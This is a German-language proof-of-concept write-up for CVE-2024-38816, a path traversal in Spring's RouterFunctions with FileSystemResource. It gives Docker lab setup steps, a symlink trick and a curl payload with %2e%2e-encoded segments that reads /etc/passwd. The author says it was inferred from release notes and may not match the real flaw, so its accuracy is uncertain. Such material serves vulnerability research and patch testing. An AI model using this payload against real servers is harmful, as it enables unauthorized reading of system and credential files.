CVE-2024-38816 Proof of Concept (PoC)

Dies ist ein Proof of Concept für die Schwachstelle CVE-2024-38816, der einen Path-Traversal-Exploit demonstriert.

Ausführungsschritte

1. Baue das Docker-Image: (Spring Boot 3.0.13, basierend auf Spring Framework 6.0.3)

   root@kitploit:~

   docker build -t cve-2024-38816-poc .
   

2. Führe den Container aus und gib Port 8080 auf dem Host-Rechner frei:

   root@kitploit:~

   docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
   

3. Führe den folgenden Befehl aus, um den PoC auszuführen und die Schwachstelle zu bestätigen:

   root@kitploit:~

   curl http://localhost:8080/static/link/%2e%2e/etc/passwd
   

   Wenn der Inhalt der Datei /etc/passwd angezeigt wird, ist die Schwachstelle bestätigt.

Hinweise

Dieser PoC wurde auf Grundlage einer Analyse der Release Notes und Commit-Logs erstellt. Das Verhalten der tatsächlichen Schwachstelle kann abweichen, daher wird keine Genauigkeit garantiert. Verwendung auf eigene Gefahr.

Überlegungen

1. Die Schwachstelle wurde in Spring Framework 6.1.13 behoben, wie in den Release Notes bestätigt wird.

2. Nach Durchsicht der Release Notes und der zugehörigen Commit-Logs habe ich die folgenden beiden Issues als möglicherweise mit dieser Schwachstelle verbunden identifiziert:

   • Issue #33424: Eine neue Option im Zusammenhang mit symbolischen Links wurde hinzugefügt.
     • Zugehöriger Commit: 5d80d75051f395c17f6b9367e267d458585b336d
   • Issue #33434: Der Code zur Bereinigung von %-kodierten Zeichen wurde geändert.
     • Zugehöriger Commit: d86bf8b2056429edf5494456cffcb2b243331c49

3. Laut dem Security Advisory müssen für einen erfolgreichen Angriff wahrscheinlich die folgenden Bedingungen erfüllt sein:

   • RouterFunctions wird verwendet
   • FileSystemResource wird verwendet
   • Symbolische Links sind vorhanden
   • %-kodierte Zeichen sind am Angriff beteiligt

Einrichtung der Umgebung

Zur Reproduktion der Schwachstelle wird eine Docker-Umgebung verwendet.

1. Erstelle PathTraversalDemoApplication.java mit dem folgenden Code, um das statische Datei-Routing mithilfe von RouterFunction und FileSystemResource einzurichten:

   root@kitploit:~

   public RouterFunction<ServerResponse> staticResourceRouter() {
       return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
   }
   

2. Füge dem Dockerfile den folgenden Befehl hinzu, um einen symbolischen Link zu erstellen:

   root@kitploit:~

   RUN ln -s /static /app/static/link
   

3. Erstelle ein Payload, das die %-Kodierung ausnutzt, um über den symbolischen Link Verzeichnisse zu traversieren.

   • Pfad: /static/link/%2e%2e/etc/passwd

4. Verwende den folgenden curl-Befehl, um den PoC auszuführen und zu überprüfen, ob der Angriff erfolgreich ist:

   root@kitploit:~

   curl http://localhost:8080/static/link/%2e%2e/etc/passwd
   

   Wenn der Angriff erfolgreich ist, wird der Inhalt der Datei /etc/passwd angezeigt.

Haftungsausschluss

Dieser PoC dient Bildungs- und Sicherheitsforschungszwecken. Bevor du ihn in einem echten System einsetzt, stelle sicher, dass die Schwachstelle behoben wurde und du über die entsprechende Autorisierung verfügst. Der Autor übernimmt keine Verantwortung für eine missbräuchliche Verwendung dieses Codes.